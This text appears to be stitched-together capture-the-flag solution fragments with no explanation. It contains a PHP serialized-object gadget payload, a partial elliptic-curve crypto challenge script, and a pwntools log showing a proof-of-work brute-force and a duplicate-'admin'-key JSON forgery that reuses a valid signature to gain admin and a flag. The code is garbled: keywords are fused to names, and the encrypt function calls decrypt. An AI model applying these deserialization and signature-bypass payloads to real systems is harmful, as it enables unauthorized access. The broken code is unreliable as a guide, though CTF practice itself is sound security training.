$a = new o_hjldg; $a->mod1 = new o_dfgdf; $a->mod1->mod1 = new o_podjg; $a->mod1->mod1->mod1 = new o_iojnd; $a->mod1->mod1->mod1->mod1 = new o_lijog; echo urlencode(serialize($a));
from Crypto.Util.number import * from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad from hashlib import sha1 from sage.all import * from collections import namedtuple import random
Point = namedtuple("Point", ["x", "y"])
classSpecialCurve: def__init__(self, p, D): self.p = p self.D = D defon_curve(self, P): x, y = P return (x**2 - self.D*y**2) % self.p == 1
defencrypt_flag(shared_secret: int, flag: bytes): # Derive AES key from shared secret key = sha1(str(shared_secret).encode('ascii')).digest()[:16] # Encrypt flag iv = bytes.fromhex('9d01ed1cf32d36b3ad2e876470a7c966') cipher = AES.new(key, AES.MODE_CBC, iv) ciphertext = cipher.decrypt(pad(flag, 16)) # Prepare data to send data = {} data['iv'] = iv.hex() data['encrypted_flag'] = ciphertext return data
p = 836488666822961839692956332151705074188888980171 D = 2 curve = SpecialCurve(p, D) G = Point(763750521881834723197916651095035067737681242766, 181845362352817791237599202641675016128019343515)
A = Point(240757557526671714465376396162227403433173837263, 447777665718794567579895418261874001858417574820) B = Point(520194352719976455803701872304289944494436419362, 585336922933508707693715789885559439807561539251)
Fx.<W> = GF(p)[] F.<W> = GF(p^2,modulus = W^2-D) g = G.x+W*G.y h = A.x+W*A.y
[root@VM-0-7-centos ~]# python3 pow.py [+] Opening connection to 0.0.0.0 on port 10501: Done [DEBUG] Received 0x64 bytes: b'sha256(XXXX + 8YxeYT9SZtTQWMVi) == 6717147b134f4b23e55b7d46a13e07034052cf1817f5b6b47a2315dcae04991a\n' [+] 8YxeYT9SZtTQWMVi [+] MBruteforcing: Found key: "56f2" [DEBUG] Received 0xe bytes: b'Give me XXXX:\n' [DEBUG] Sent 0x5 bytes: b'56f2\n' [*] Switching to interactive mode
[DEBUG] Received 0x35 bytes: b'Input your choice:\n' b'[1] Sign in\n' b' [2] Verify\n' b' [3] Exit\n' Input your choice: [1] Sign in [2] Verify [3] Exit $ 1 [DEBUG] Sent 0x2 bytes: b'1\n' [DEBUG] Received 0x15 bytes: b'Input your username:\n' Input your username: $ v [DEBUG] Sent 0x2 bytes: b'v\n' [DEBUG] Received 0xb1 bytes: b'Your signature: {"sig": "6e7193d5cd430292b015b6024f81f04f22dbb7eb8f451669bef4de7f2b2dc0558cb1ea3b8f084284f9b7d840b8524e22"}\n' b'Input your choice:\n' b'[1] Sign in\n' b' [2] Verify\n' b' [3] Exit\n' Your signature: {"sig": "6e7193d5cd430292b015b6024f81f04f22dbb7eb8f451669bef4de7f2b2dc0558cb1ea3b8f084284f9b7d840b8524e22"} Input your choice: [1] Sign in [2] Verify [3] Exit $ 2 [DEBUG] Sent 0x2 bytes: b'2\n' [DEBUG] Received 0x2a bytes: b'Input your msg and sigature in JSON form:\n' Input your msg and sigature in JSON form: $ {"msg": "{\"admin\": false, \"username\": \"v\", \"admin\": true}", "sig": "6e7193d5cd430292b015b6024f81f04f22dbb7eb8f451669bef4de7f2b2dc0558cb1ea3b8f084284f9b7d840b8524e22"} [DEBUG] Sent 0xaf bytes: b'{"msg": "{\\"admin\\": false, \\"username\\": \\"v\\", \\"admin\\": true}", "sig": "6e7193d5cd430292b015b6024f81f04f22dbb7eb8f451669bef4de7f2b2dc0558cb1ea3b8f084284f9b7d840b8524e22"}\n' [DEBUG] Received 0x7f bytes: b'{"status": "success", "msg": "You are admin", "flag": "flag{local_flag}"}\n' b'Input your choice:\n' b'[1] Sign in\n' b' [2] Verify\n' b' [3] Exit\n' {"status": "success", "msg": "You are admin", "flag": "flag{local_flag}"}